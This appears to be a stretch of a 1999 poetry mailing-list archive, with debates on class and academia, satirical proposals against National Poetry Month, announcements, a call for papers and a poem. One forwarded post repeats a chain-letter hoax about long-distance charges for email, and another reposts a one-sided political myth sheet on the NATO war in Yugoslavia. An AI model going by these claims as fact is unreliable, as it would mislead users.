>activity, including writing and thinking. My question is (after all
>that): am I completely paranoid in thinking that the academic system here
>is actually set up to prevent people thinking, to inhibit engagement with
>anything outside the academy, and to keep students/graduate students in a
>state of "near-death" until they actually *are* near death and
>pensionable? This paragraph is a bit rough but I hope you will get the
>general idea.
>All the best,
>Mairead

unfortunatley i think you are right. grad students are depoliticitized in a number of ways; in the less prestigious and wealthy institutions, it's by being so nickeled and dimed to death both economically and with regard to time (at U of MN the grad students are run ragged by the necessity of always having to find jobs, and are told by a cynical administration that this --"lots of teaching experience" --will look good on their cvs!!!); at the more privileged institutions its because it is suggested that by reading raymond williams they are automatically doing right by the under- or working-class many of them have never had first-hand encounters with. there are exceptions though; some faculty i studied w/ at stanford were actively involved in stuff like voter registration in under-represented neighborhoods, and combined it with their intellectual work by writing about it. i did my most interesting work (teaching in a GED program) *before* i went to grad school, but was able to *theorize* and write about that work in grad school. since becoming a prof, i've had less and less incentive toward a certain kind of involvement outside the academy and have become more and

more "literary" as well, though plenty of opportunities are available for volunteer or organizing work. right now i'm considering how to make some of my classes, like "Poetry as Cultural Critique," have an element of "community work" built in to the syllabus, though this is complex and involves lots of bureaucratic red tape. so mostly i'm "reduced" to activism through writing about subjects that don't usually get covered in academic journals.

↑ Index

54. anastasios kozaitis
Re: class and gender
Fri 2 Apr 1999

I am reading a book that I think would be important to all those who are interested in this thread: _Inequality Reexamined_ by Amartya Sen. "Sen argues that the dictum 'all people are created equal' serves largely to deflect attention from the fact that we differ in age, gender, talents, and physical abilities as well as in material advantages and social background. He argues for concentraing on hight and more basic values: individual capabilities and freedom to achieve objectives. By concentrating on equity and efficiency of social arrangements in promoting freedoms and capabilities of individuals, Sen adds an important dimension to arguments about such vital issues as gender inequalities, welfare policies, affirmative action, and publich provision of health care and education.' Sen, _Inequality Reexamined_, Harvard UP, 1992

> *Just went to a talk the other day on Carolyn Chute and class. And then all the talk post-pagemothers on class. It is worrying me. The reason we as a society have trouble talking about class is that it is endlessly complicated. It is hard to quantify, much less smell or generalize about preferences of roughness or smoothness. Once we start to act like it is something that can be called out in the language of clear category (that academic means middle or whatever), we do class the disservice of assuming it is an easy marker. Even though our society, falsely, treats race or gender as something absolute, it has never treated class that way. Yet that class is the language that white people at times use to assert their marginalization makes me nervous about it all the time.*
>
> *Yet I also think it is crucial to talk about all the time (who knows it might lead to the class revolution). So I am grateful for the discussion.*
>
> *I guess my question is how do we talk about class while paying attention to how many people pass in both directions all the time? How do we talk about class and make room for the way some people move up and down it all the time? Is class growing up background? Or is it net income at current year? And what are the income levels? Or is it purely cultural? Is there a lower class culture of dirty shirts and beer drinking that*

> *the Chute talk seemed to suggest? An upper class culture that owns artyness? How does rural and urban play into this? What about marriage and wives with no income? Does education disqualify one from being lower class? Does one's academic job disqualify one from being lower class anymore? What if you are an adjunct? Does one's Yale undergrad degree on scholarship disqualify? Or if one grows up upper class yet goes to the local community college, does that change?*
>
> *Like those students who can't understand My Life, I really can't imagine that their background income is that different from Hejinian's--her father was an academic administrator (a decent but not the best paying job), her mother a housewife. The New College, where she worked until recently, is known for its substandard salaries. She doesn't have an advanced degree. What is making her the symbol for middle (?) classness to these students? Is it because she doesn't in My Life put her self forward as a marginalized subject?*
>
> *I mean these questions not as critique but just as questions. I am glad this discussion has been happening.*

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55. derek beaulieu / house press
announcing: "TTbpN2: translating translating bpNichol"
Fri 2 Apr 1999

This is a multi-part message in MIME format.

charset="iso-8859-1"

housepress is excited to announce the release of:

"TTbpN2: translating translating bpNichol part 2"

- released in a signed and numbered edition of 40 copies, "TTbpN2" is a = metatext exploration of=20
& homage to the poetry & poetics of experimental poet bpNichol & = consists of work by:
Michael Basinski
Gregory Betts
Stephen Cain
cjfyffe
Neil Hennessy
bpNichol
the "pataphysical software company
Carl Peters
russ rickey
Stephen Scobie

Jonathon C. Wilcke
and derek beaulieu, editor

copies are $12ea.=20
for more information please contact:
derek beaulieu at [redacted]

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↑ Index

56. Daniel Zimmerman

Re: April is the cruelest month for poetry ....

Fri 4 Jan 1980

Charles Bernstein wrote:
>
> David Antin sent me this reply to "Against National Poetry Month as Such". He
> said it would be OK to pass it on to the list. --Charles Bernstein
> ***
>
> from DAVID ANTIN:
>
> Hi Charles -- I'm with you all the way. Antipoetry month in the midst of
> which, taking a cue from Geraut de Borneilh, I propose a TROBAR CLUS week
> in which no one shall be allowed to commit a transparency. For that week
> all poetic efforts must have the opacity of wood or steel and equal weight.
> Truly CONCRETE POETRY cast in concrete or cast in iron with texts only on
> the underside, so that they must be lifted to be read. I am myself
> planning a poetry piece in cast glass (really), but fortunately placed
> underwater to diminish visibility. Perhaps I can claim a dispensation for

> its submergence. In any case it will be at the bottom of a pond if my grant
> comes through. Hard to find if not to finally see. So you can see (sic)
> I'm with you all the way. I also suggest POEM BARRERS laid across public
> roads, so they can IMPEDE traffic. POETIC PITS in sidewalks and walkways.
> POETIC LADDERS from which all but the top and bottom rung are removed.
> POETIC ELEVATORS from which all power must be CUT OFF so that they can
> only be moved by hand. WHISPER PERFORMANCES permitting only poetry
> performances conducted in whispers only in large auditoriums, where the
> first fifteen rows of seats must remain empty. Other suggestions are
> welcomed.
>
> Best
>
> David

Brilliant, David!

I'd like to weigh in for [where does *that* expression come from?]

LIPSYNCH POETRY for extemporaneous & antiquated (de-canonized, like St. Christopher) verse;

MONOMETRICAL VERSE, in which all syllables receive either only stron or weak stress;

IDEOGRAMMATICAL POETRY in which all glyphs ioncorporating faces resolutely (& atypically) turn their backs to each other;

& BACKMASKICAL BARDOLATRY, which reads poets' publication credits (and reviews of their works) backwards.

;~)

Dan Zimmerman

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57. Charles Bernstein

Re: April is the cruelest month for poetry ....

Fri 2 Apr 1999

David Antin sent me this reply to "Against National Poetry Month as Such". He said it would be OK to pass it on to the list. --Charles Bernstein ***

from DAVID ANTIN:

Hi Charles -- I'm with you all the way. Antipoetry month in the midst of which, taking a cue from Geraut de Borneilh, I propose a TROBAR CLUS week in

which no one shall be allowed to commit a transparency. For that week all poetic efforts must have the opacity of wood or steel and equal weight. Truly CONCRETE POETRY cast in concrete or cast in iron with texts only on the underside, so that they must be lifted to be read. I am myself planning a poetry piece in cast glass (really), but fortunately placed underwater to diminish visibility. Perhaps I can claim a dispensation for its submergence. In any case it will be at the bottom of a pond if my grant comes through. Hard to find if not to finally see. So you can see (sic) I'm with you all the way. I also suggest POEM BARRERS laid across public roads, so they can IMPEDE traffic. POETIC PITS in sidewalks and walkways. POETIC LADDERS from which all but the top and bottom rung are removed. POETIC ELEVATORS from which all power must be CUT OFF so that they can only be moved by hand. WHISPER PERFORMANCES permitting only poetry performances conducted in whispers only in large auditoriums, where the first fifteen rows of seats must remain empty. Other suggestions are welcomed.

Best

David

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58. Loss Pequen~o Glazier

Relation of Web/hypertext ed. to book sales

Sat 3 Apr 1999

We are engaged in a project creating a hypertext edition of a book and have run into resistance from the publisher. If anyone knows of a citation that supports the argument that a web version of a book increases sales of the book itself, or any similarly useful info for arguing this point, any suggestions would be most welcome! Thanks ...

↑ Index

59. david bromige

added to antin

Sat 3 Apr 1999

I'd like to suggest that all taperecorders used for poetry readings in the month of April be doctored so that upon being rewound and played back even at full volume nothing can be heard except a faint diabolical cackling (I believe this was done at least once in a trial run at UCSD).

In an alternative move, let's have the tapes be classified as blank but when the machine is switched on & the Poet begins to read, the tape emits a prerecorded, uninterruptible wall of words full volume for at least one hour, during

which all efforts to switch off or unplug the machine will prove futile. That should put a stop to any threatened eruption of poetry during this damnable month.

david.

↑ Index

60. Linda Russo
Re: class
Sat 3 Apr 1999

I had the same reaction as David Zauhar on this one: juliana's questions address culture as much as they address class. Cultural studies has always insisted that culture is not the province of a particular class (privileged) but that culture was a "whole way of life" -- that culture was 'mass' -- was everywhere. (and class seems as pervasive.) While this allowed for some needed theorizing and intervention that revealed (and encouraged) a certain amount of autonomy ('subversion') on the side of those who were denied (high) culture (and so were denied 'class', were the underclass) -- it left aside altogether the tricky questions of the production of 'mass culture' -- who produces it? who consumes it? and for what explicity purposes? The same can be asked of class. And the answers in some instances will be identical.

juliana:
> Once we start to act like [class] is
>something that can be called out in the language of clear category (that
>academic means middle or whatever), we do class the disservice of
>assuming it is an easy marker.

The irony being that most modes of communication rely on our acting this way, and the disservice is done in the service of 'fixing' one's class -- remediating. (for an interesting if not endlessly irritating essay on this see "Freshman Composition as Middle Class Enterprise" by Lynn Z. Bloom)

what juliana points out is that class can't be talked about until its cornered. So here's a corner: it strikes me that class is maintained as an economic category only to the extent that its inseparable from its visible, material embodiment: commodities. If posessions are markers of class, what does that make words? where does that leave writers? Innovative writers show us consistently that words are also material things, are not merely referential (i.e. materialized when contrasted to the conventional-and-so-transparent use of syntax, word and subject choice, spelling, pronunication, which are also [middle] class markers) -- and yet innovative writing alone fails as 'subversive', fails to attack from the margin (of race gender class etc.) because it is, finally, just made of words.

It's the people, the movements, the little magazines and presses that gather around and embody those words that make some sort of intervention.

Class afterall is a heinous fiction that They/we maintain, that They/we build into our material circumstances (our institutions) but its a fatal fiction -- people die everyday for lack of the fictionality that is found there.

I can't say I see class (as a problem, as a point of cleavage and meanness) going away anytime soon but i'm glad too people are talking about it, and perhaps maintaining the option that class (race gender etc.) is okay.

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61. Sawako Nakayasu
speaking of joy
Sat 3 Apr 1999

I teach high school art and math...and found that the math class (math not being my favorite subject) went much better when I tossed some art (which I love) into it. One day we did algebra problems exquisite corpse-style. So: anyone have or know of any poems about or using or related to math?

...about teaching: I've concluded that the best things I ever learned in high school was how to find *joy* in a subject.

thanks,
Sawako

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62. KENT JOHNSON
Re: 3 faces/ list moderation
Sat 3 Apr 1999

Chris:

I used to be quite active on this List (an understatement, perhaps), but since the big arguments of a few months back I've relegated my involvement to reading the archives now and then. I just read your post in response to Jessica Pompeii's very interesting message, including the addendum of your reply to another subscriber wherein you acknowledge, with laudable candor, the "ideological" character of the Poetics List. But Ideology, you assure us, has never kept you from forwarding posts that "provoke consideration or sustained argumentation."

Since you have opened discussion around the issue of List "moderation," please accept this post as an honest attempt to provoke consideration around a specific matter that has troubled me. Please understand that I do not offer these

concerns in the spirit of starting another round of angry accusation, which I admit having contributed to when the controversy was at its height. I am simply asking for clarification so as to better form my overall opinion about the List's transformation, and I hope you or Charles Bernstein will be able to offer a response.

So here, in the form of a few pointed questions, is my concern: Does the enactment of the List's "ideological character" mandate, in addition to your daily surveillance of posts, the denial of subscription rights to certain poets? More specifically, are there poets who were previously members of this List who have indeed been denied subscription? If this is not the case, then I apologize for being misinformed, and I hope to soon see again, for example, the provocative and thoughtful posts of Henry Gould, who seems to be under the impression (at least when I spoke to him in Providence a couple months ago) that he is _not_ permitted to rejoin the List.

So what, after all, is the story? If it _is_ the case that certain people have been, so to speak, B92ed from the List, could you explain exactly why? Now that the List is a self-conscious and self-proclaimed ideological space enjoying the benefits of a benevolent panopticism, one effectively designed to keep discussions "on track" and to squelch any drift toward "over-posting," what would be the rationale for banishing someone as passionately committed to the art of poetry (however idiosyncratic one might judge his aesthetic commitments to be) as Henry Gould? Or, for example, for excluding Gabriel Gudding, who could easily be prevented under the new rules from airing anything undiplomatically critical, but who might be allowed to share, here and there, the gift of his mordant intelligence?

All in all, IF it is true that there have been poets "ideologically" excluded from List membership, isn't it actually the case, Chris and Charles, that you ARE, in practice, preventing posts that might "provoke consideration or sustained argumentation" from coming to the List's attention? Now that a center of authority and control is clearly established, why not invite _all_ poets to submit their "considered argumentation" to the moderator's deliberation? There may, of course, be those who will not wish to participate under such conditions, but it certainly can't hurt to make the gesture.

If my questions here are in any way informed by faulty assumptions, I ask you to please post this anyway and then publicly point out my misconceptions. I know that other people share these concerns with me, and so a simple clarification would be a positive thing, even if my error should bring me some embarrassment. Thank you.

On another note, and just up-- The Nation has an important special issue devoted to NATO's war. All articles are available at http://thenation.com/

Kent

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63. James Sherry
Cultural Classes and Economic Classes
Sat 3 Apr 1999

There seems to be some confusion between the two types of classes in the messages as I read them in the past two days. Having a nice house and time to get a manicure is a cultural bias and many working class women and men in pink and white collar jobs like to be clean and neat, but are in no way upper or ruling class. We as poets and academics and poet/academics have a cultural class bias, but having books, etc is not an upper class characteristic. There are many cultural classes and they are fungible and are usually subject to an ideological stance that is annoying to other cultural classes. There are also many mixed cultural classes, ie, people with dirty hands and books or clean floors and only electronics or dirty floors and electronics.

Among economic classes there are far fewer. Here ruling class is appropriate to consider, but even within the ruling class there is pecking order such as between Bill Gates and Bill Clinton. Being able to make decisions for others is one of the prime motivators and characteristics of ruling class ideology. Being able to plan the course of the lives of many is also a motivator for ruling class or aspiring ruling class.

There are many cultural classes on this list, but only one or two economic classes on this list, although some of us work more directly for ruling class institutions, such as the teachers and corporate types. Those who do not work for those kinds of institutions may still be of the same economic class, but have different cultural biases.

I don't think anyone on this list is a member of the ruling class. Although some have made some money or inherited enough to qualify, none of us to my knowledge is working to direct the lives of thousands or making decisions to control the course of many lives. We as artists have chosen a path to control that is weak and indirect. That is we can't really determine the effects of our work. But we still believe in the effect poetry can have. We believe that poetry and other arts have an effect on the lives of many indirectly by contributing to the way people talk and think about themselves.

What would we like to contribute to that? How do we think we can best go about it? If we can't exactly predict how our work will effect others, what are the techniques of indirection that are most useful/effective in getting to the kind of presentation we'd like to make while giving us the best chance of gettting the kind of result we want. Do we want to promote a metaphorical message or be

exponents of it? I think most of the people reading this list approach the message part metaphorically rather than representing it directly as perscription. The metaphors are riskier than many can imagine. Allen Ginsberg was one who found out the dangers of metaphor after his metaphor had had its sad effects.

In closing I apologize for going so slowly, but read much that confused me in the mails about class and thought this out as I wrote. In that way I don't support the planned out approach to what should be on the list. It's up to Chris, with input from all of us who are willing to contribute, to come up with a functional definition of appropriateness.

James Sherry

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64. Michael Krebs
class & kosovo
Sat 3 Apr 1999

There is so little need to be concerned with fabric. This cannot be undone - class, differences, borderlands. It is genetic, this behavior among human beings to territorialize and to single out and dehumanize those individuals opposed to the expansion of one's stature or territory. We can talk about it. We can abstract it. We can even try to fight it.

But look closely at the animal part of us. Understand why our eyes are set forward-facing in our skulls. Understand why we have incisors. Why we are so skilled in the fine art of building and perfecting weapons. We are vicious and we are hungry and we are civilized. All three. Take off your clothes and count the hairs sprouting over your body.

The solution? Better yourself and oppose those who oppose your attempts at bettering yourself. How to do this and what this means, both are in your head. Write it down, maybe. Nihilism is freedom...

www.angelfire.com/nj/totalitarianmuseic

Get your free, private email at http://mail.excite.com/

↑ Index

65. KENT JOHNSON
Five Myths of NATO's war
Sat 3 Apr 1999

The following is taken from Z Net

http://www.lbbs.org/ZNETTOPnoanimation.html.

While a clearer acknowledgment of the long-standing repression suffered by the Kosovar Albanians would have added much to the balance of this "Myth Sheet," the points made are certainly thought-provoking and prompt urgent questions about NATO's actions and the motivations behind them.

Kent

The US/NATO War in Yugoslavia: Five Myths

Myth #1. U.S./NATO had to attack "the Serbs" because the Yugoslav government and President Slobodan Milosevic refused to negotiate on Kosovo, a region of Yugoslavia where ethnic Albanians are the majority.

Reality: U.S./NATO bombs are falling on all Yugoslavs: Serbians, Montenegrins, Albanians, Hungarians, Romanis and other peoples who make up the multiethnic Federal Republic of Yugoslavia. There were no "negotiations." U.S. officials like Secretary of State Madeleine Albright, went out of their way to make this point when "peace talks" were held in France in February. Instead, there was an ultimatum presented by the U.S. government to the Yugoslav government that had three points: 1) Kosovo must be granted autonomy; 2) NATO must be allowed to station 30,000 ground troops in Yugoslavia to ensure this autonomy; and 3) A NATO-conducted referendum for Kosovo's independence from Yugoslavia would take place within three years. The Yugoslav government agreed to the first condition, and rejected the second and third, saying they were a gross violation of their sovereignty and the independence of their country.

Myth #2. Yugoslavia is the aggressor in this conflict and Milosevic is a "new Hitler."

Reality: No Yugoslav soldiers, planes or ships are attacking another country. The conflict in Kosovo is an internal issue. A developing country of 10 million people, Yugoslavia is being attacked by 19 countries, including the biggest military powers in the world, which have a combined population of more than half a billion people. Milosevic has been demonized much like Saddam Hussein is. As a State Department official said, "the demonization of Milosevic is necessary to maintain the air attacks." (S.F. Chronicle, Mar. 30, 1999)

Myth #3. Clinton, Albright and the Pentagon generals were moved to action by their concerns about "ethnic cleansing" and human suffering.

Reality: The U.S., Germany and other NATO powers played a key role in breaking up Yugoslavia in 1991-92, arming and supporting secessionist movements. For 45 years after World War II, the many nationalities that made up Yugoslavia lived together in peace. In the civil wars, which followed the break-up of Yugoslavia, there was much bloodshed and human rights violations on all sides. The biggest single act of "ethnic cleansing" was the forced removal of 600,000

Serbs from the Krajina region of Croatia (a former Yugoslav republic) by the U.S.-trained and armed Croatian military in 1995. More than 55,000 of these Serbs, who were resettled in Kosovo, are among the hundreds of thousands of people made refugees by NATO bombing and the conflict in Kosovo. (Julia Taft, Asst. Secretary of State on C-SPAN, 3-29-99) The U.S. "concern" about removal of people from their homeland is very selective. This is not surprising: Virtually the entire continent of North America was "ethnically cleansed" of Native people to make way for the U.S. and Canada, two of the NATO powers. U.S. policy has supported, with arms and money, the removal of Kurdish people in Turkey, Palestinians, East Timorese, Guatemalan indigenous people -- and the list goes on.

Myth #4. The U.S./NATO goal is to protect the rights of the predominantly Muslim Albanians in Kosovo.

Reality: U.S. officials pretend to care about the rights of Muslim people in Yugoslavia, while their policy of sanctions and war kills 300 Iraqis every day -- half children under 5 years old. Most Iraqis are Muslims.

The Pentagon is not a humanitarian relief agency and the corporate-owned politicians don't really care about any people -- Albanians, Serbs, Kurds, Iraqis, or the poor and working people of this country.

This war is killing people of all nationalities in Yugoslavia, and poisoning their land with radioactive depleted uranium (DU) weapons. Hundreds of thousands of Iraqis, U.S. veterans and their families are suffering from Gulf War Syndrome as a result of depleted uranium poisoning. The Clinton administration and the Pentagon talk about "supporting our troops" before they go into battle, but then deny medical benefits to veterans who suffer from the after-effects of Agent Orange from Vietnam or DU from Iraq.

This war will cost many billions of dollars, money stolen from housing, health care, education and other social programs. Each cruise missile costs $1 million. The only ones who will benefit from this war will be the military-industrial complex and big business.

The real U.S./NATO goal is to break Yugoslavia into ever-smaller pieces and bomb its people into submission. The Balkans is a strategic region, a crossroads between Western Europe and the oil-rich Middle East and Caspian Basin. The U.S. has established, in only 5 years, military domination of the former Yugoslav republics of Croatia, Bosnia and Macedonia, as well as Hungary and Albania. The only hold-out has been what is today the Federal Republic of Yugoslavia. This is the real reason why Yugoslavia has become the target in the Balkans, just as it is the real reason that Iraq has become the target in the Persian/Arabian Gulf region.

Myth #5. U.S. news reports are balanced and impartial, giving us the true story.

Reality: What we see today is a gross distortion of the facts. The media is dominated by big business interests, and functions as a Pentagon propaganda machine. For political purposes, the suffering of only one group, the refugees leaving Kosovo, is shown, while the other Yugoslav victims of the NATO bombing are virtually ignored. The New York Times, CNN, ABC, CBS, NBC, The Chronicle Examiner, and others have given a very slanted view of events in Yugoslavia, to justify the massive bombing. General Electric, one of the country's largest military contractors which supplies engines for NATO jet fighters, owns NBC and co-owns MS/NBC.

Volunteers and donation are needed!

Contact us to receive a copy
of the 1998 IAC book
NATO in the Balkans

International Action Center
39 W. 14th St., #206
New York, NY 10011
[redacted]
fax: [redacted]
http://www.iacenter.org
email: [redacted]

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66. Elizabeth Treadwell

Outlet reviews

Sat 3 Apr 1999

Hi all,
I've got my reviewers set, so quickly!, for Outlet 4/5. Thanks to all.

Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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67. emgarrison
No I
Sat 3 Apr 1999

P E A C E

Two consanants

Three vowels

No I

Beth

↑ Index

68. Jessica Pompeii
no one liners
Sat 3 Apr 1999

Jesus did good stand up. He was good on his feet.

OK? I am taking over my body. OK? Freeze. Don't move.

I am a black-hole nothing
comes in and nothing goes out.

Crushing victim, baby, no, silicon breasts.

Slack jawed hyena, rapes the desert silence, howling for her mate.

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69. m a t t...
Re: No I
Sat 3 Apr 1999

[[redacted] designed]

> *P E A C E*
>
> *Two consanants*
>
> *Three vowels*
>
> *No I*
> *---*
>
> *Beth*

beautifully put beth.

here's something:

k[no]wledge
ig[no]rance

name:[matt...]
email:[[redacted]]
url:[http://emo.abysmal.net/~circle]
statement:[leaves will fall and so shall we]

Get Your Private, Free Email at http://www.hotmail.com

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70. Mark Weiss
Mervyn Taylor
Sat 3 Apr 1999

For those of you in SoCal, two events, the first a broadcast, the second a reading, followed by bio and quotes and a sample poem. Mervyn Taylor may be the best poet you discover this year.

1.
>On Monday, April 5th @ 10pm, we introduce Mr. Mervyn
>Taylor sharing poetry from his newly released book.
>Mr. Taylor, visiting from New York, is promoting his book
>while sharing his poetry.
>
>If you`re in the environs, tune~in to 90.7-FM (Los
>Angeles) or 98.7-FM (Santa Barbara) at 10pm for some
>poetry and music.
>
>Blessings w/ Peace!
>
>Angalifu
>Producer, Host
>KUUMBA - Creativity Through Music & Poetry
>KPFK - Los Angeles, 90.7-FM
>

2.
On Wednesday, April 7th at 4:30 at UC-San Diego, in the Visual Arts Performance Space, a FREE reading by Mervyn Taylor.

Mervyn Taylor divides his time between New York and his native Trinidad. Formerly a treasury worker in Trinidad, he currently teaches high school English in the New York City public school system and creative writing at The New School for Social Research. His poems have been published in numerous magazines and several anthologies, among them Giant Talk (Random House) and Rock Against the Wind (William Morrow). He is a graduate of Howard University and holds an MFA in poetry from Columbia University. Junction Press published his first book, _An Island of His Own_, and now, still warm from the press, his second, _The Goat_.

"Using imagery that is subtle yet richly evocative, Mervyn Taylor creates whole lives in just a few short lines. Piquant details and a detached, acutely perceptive voice draw the reader into atmospheres swollen with feeling. These are poems that open up new worlds in which readers may live." Publishers Weekly

"[In his poems] I have discovered Taylor’s remarkable ministorytelling talent, his cool, aphoristic phrasing, his tonally discreet prose lyricism, and his quiet, ironic world view. A poet of technical expertise, thematic understatement, language subtlety, and human warmth and compassion." Andrew Salkey, World Literature Today

"Mervyn is a wary technician, even a cunning one. He works in taut meters that want to cohere the pressures of the casual. Mervyn Taylor is an honest poet, and that is high and sufficient praise indeed." Derek Walcott

The End of Their Days

I. The Father

After he died it was
as if the flooring
had been taken away
and we walked for
the longest while on
sand, water lapping
at our feet.

Standing tip-toe
the mother would run
her hand along the back
of the shelves and find
a few pennies or none,

and rain blew in on
us in the kitchen

as she turned a pot
dark as the weather,

and the ghost of a goat
butted the ghost of
the man and Fitzy
his helper paraded
with a switch, small
cascadoo ghosts leaping
in the kitchen.

Then the Indian
came and laid linoleum
throughout the house
so we walked on that
and he put a rail
on the back steps so
the mother wouldn't fall.

Then she hurt her foot
on a Morris chair and
the wound grew into
a lifesore that sent up
a warm smell that
lit up the house,

and one Christmastime
she dyed her hair
and the chemicals left
her eyes sealed tight
and the windows
curtainless, her head
blacking the pillow,
the bed unmade,
the house undone.

II. The Mother

After the boys migrated
she held out as long
as she could, but
there was no one to send
to the shop for Phensic,
and the wound would
shrink to a pinhead
then blossom again.

And her best friend
held her hand as she asked
for the men in her life:
the one who looked so
much like her they could
pass for twins, who
gave her her first son,

and the one who gave her
her second and built
them this house growing
silenter by the days.
Then the one who'd been
watching all along, who
knew her lonely story and
came to people her place
with strangers.

"Into thy hands,"
her friend intoned.
She repeated it,
and the breadfruit tree
dropped a ripe one on
the roof that night,
the room growing
as hot as La Brea noon.

Her eyes looked
at the ceiling to see what
repairs had to be done
and her ankles twitched
as they propped her up
to look over the wall
for anyone who
at last was coming.

III. The Boy

He thinks he heard
his father calling
as the goats pull
the old man up and
down the road,
he sees

his father’s hand
exploring the diseased
gut of a ram, worms
curling from the hole
onto an open palm.

The same hand
polished brass buttons,
lifted the silver whistle
that blew
to send the trains
lurching forward.

He begins to follow
the old man’s path
down the uprooted track.
He begins to occupy
the one-room depot,
a relic himself.

He is deeded
more than the house
and goat pen.
More than once
the corporal stops him
as he combs Arouca,
looking for Telemaque,
the old man’s one
and only friend.

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71. Poetics List Administration

email charges / Lowther

Sat 3 Apr 1999

---

had to reformat this. Chris

From: "Lowther,John" <[redacted]>
Date: 4/3/99, 4:29 PM -0500

> PHONE CHARGES FOR THE NET?
>
> CNN reported that in the next two weeks, Congress is going to vote
> on allowing telephone companies to charge for Internet access.

that means, every time we make a long distance e-mail we will receive a
> long distance charge. This will get costly.
>
> Please visit to the following web site AND complain. Complain to
> your Congressman. Don't allow this to pass.
>
> CONTACT: http://www.house.gov/writerep/
>
> Pass this on to your friends. It is urgent! I hope all of you will
> pass this on to all your friends and family. All of us have an
interest in this bill.

> *PLEASE FORWARD*

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72. Poetics List Administration

Poets on the Verge of a Nervous Breakdown / Greenway

Sat 3 Apr 1999

---

was asked to forward this to the list; queries
should go to the addresses specified below.

Chris

From: "Gerard Greenway" <[redacted]>
Date: 4/2/99, 4:59 PM +0100

Dear [redacted]

The editors of the below collection have asked if it would be possible to distribiute the call for papers to the Buffalo list. Could you let me know if you can do this for us.

Thank for your time

Gerard Greenway
managing editor -- Angelaki

Call for Papers

A N G E L A K I
journal of the theoretical humanities

Special Issue 5.1
(for publication march/april 2000)

POETS ON THE VERGE OF A NERVOUS BREAKDOWN
~~~~~~

Edited by Anthony Mellors & Robert Smith

The deconstruction of nostalgia for transcendent identity is crucial to international poetry working out from modernism. If, for example, the work of Andrea Zanzotto, Allen Fisher, and Susan Howe centres on locations saturated with national myths (the Veneto, London, New England), this is not in order to romanticize the poet's identity with the place or to envision universal truths from a local microcosm. Rather, each of these poets takes the immediate environment as a place crossed by divergent histories, perceptions, and ecologies which are traced as partial evidence, inviting readers both to attend to the difficulties of the text and to pursue their own lines of inquiry. Even in the case of Zanzotto's psychoanalysis of pastoral identity, no subject-position is evoked which remains unquestionable.

However, although this kind of poetry has a wide and dedicated audience, it is far removed from what most readers and literary critics today regard as the appropriate form of contemporary verse. Late modernism is post-modern in the sense that Lyotard makes of the term: a critical reworking of the procedures of modernism. But postmodernism has acquired another meaning, which has gained general currency: the outright rejection of modernism as being idealist, elitist, reactionary, inaccessible, and irrelevant. If postmodernism means the breakdown of distinctions between high and low forms of culture, late modernism's formal difficulty puts it squarely in the high culture camp. Post-modernist poetry, on the other hand, turns away from avant-garde experimentation. Instead, it reestablishes the lyric voice, either through ironic parables of the self or as the expression of multicultural identities. It endorses the local, the particular, even the provincial, as the representation of vital if marginalized communities, and it does so without the modernists' desire to sublate the regional into a unified humanist locus. Value is placed on the lucidity and directness with which the poet communicates, allowing readers to identify with representations of their own community or to empathize with others. Poetry is a means - one among many - by which local identities protect themselves from the homogenizing power of the culture industry.

In this light, poetry which suspends identification looks as if it has never managed to break free from the Coleridgean belief in a clerisy of readers only able to grapple with the dialectics of the text because highly attuned to the history and theory of poetic forms. In a world where marginalized voices are fighting for recognition, late modernism stands accused of evading its democratic responsibilities. Far from inspiring readers to engage with questions of identity and difference, these barely legible texts could be said to encourage resignation
~~~~~~

and indifference in anyone except those who are well educated and already disposed towards the 'difficult matter' of modern art. In contrast, postmodern poetry claims humanist inclusivity without the rhetoric of aesthetic unity. It aspires to what Simon Armitage and Robert Crawford call in their recent Penguin anthology 'the democratic voice'.

This new poetic democracy is not without its theoretical and institutional problems. Postmodernism argues for the irreducibility of experience, its essential difference from community to community. Yet in this context it requires that all experience be rendered in an identifiable form. In Britain, for example, poetic legitimacy is associated with a deeply ingrained suspicion of 'foreign' influences, so that even where regionalism is valued it tends to be invoked as a populist defence against European experimentalism and American excess. And it is not always clear whether a poet's work is given as regional or radically marginal because it engages with the linguistic and political pressures of non-centralized identity, or simply because the poet has a tenuous association with a marginal site. In _Devolving English Literature_, Robert Crawford wants to affirm the virtues of 'provincial' writing against what he sees as a dominant and exclusive metropolitan culture; yet his preferred exponents of regional identity tend to be poets who, although having Welsh, Irish, or Scottish family origins, are granted cultural legitimacy by conforming to the only poetic 'voice' acceptable to metropolitan publishing houses such as Faber: an ironic lyric style relatively untroubled by the translatability of language or personal experience and endorsing aptness of metaphor as the fundamental mark of poetic value. Crawford's provincial/metropolitan opposition is itself bogus in that it elides the problem of complicity: the notion of the provincial is an invention of the metropolitan bourgeoisie, and its use calls into question Crawford's ability to analyze the politics of poetry beyond a centralist point of view. The position here is both metropolitan and imperialist in that 'provincials' become the subjects of sentimental regard as long as they communicate in the accepted terms; otherwise, they are ignored or denounced. The marginal is invited into the mainstream or preserved as marginal value by the mainstream only when it gives up its attachment to difference.

For late modernists, on the other hand, difference cannot be translated, only approximated. The poem is a construction which makes the reader aware that every translation is an appropriation. It could be argued, however, that the implied reader of this poetry is just as 'metropolitan' as Crawford's democrat. But, while the two positions are not as clear cut as our description suggests, they do represent fundamentally opposed views of poetry's function in modern society. For what we are calling late modernism, poetry can only become a radical force by resisting consumer culture and its appeal to the 'short attention span' of its audience; for postmodernism, poetry can only prevent itself from being

marginalized or completely ignored by competing with more marketable forms of cultural production. While the former continues to be reviled by the mainstream publishing houses and literary organs as too rarefied to be of popular interest, the latter is itself beginning to fall foul of market pressures. The current hoo-haa over Oxford University Press's axing of its poetry list shows that the mainstream is somewhat more marginal than its proponents have imagined.

Even so, poetry is flourishing as never before through public readings, small publishers and magazines, and via the Internet. Although these networks might be said merely to affirm poetry's marginalized status in an era of global markets, they nevertheless lay claim to the cultural value of independent means of production. (A modern irony being that small-press material has frequently outsold 'major' publications.) And, if these networks originate from local or marginal groupings, they are anything but narrow in their reach. They have inaugurated a new internationalism in poetry which goes some way to confound the old coteries and critical demarcations. The use of new technology has revitalized traditional media by lowering production costs and has created alternative forms of distribution. Australia, for example, has become a new poetic centre. Through magazines such as John Kinsella's _Salt_, James Taylor's _Boxkite_, and (on the Internet) John Tranter's _Jacket_, it has increased international recognition for Australian writing while creating strong links with poets in France, Britain and the United States.

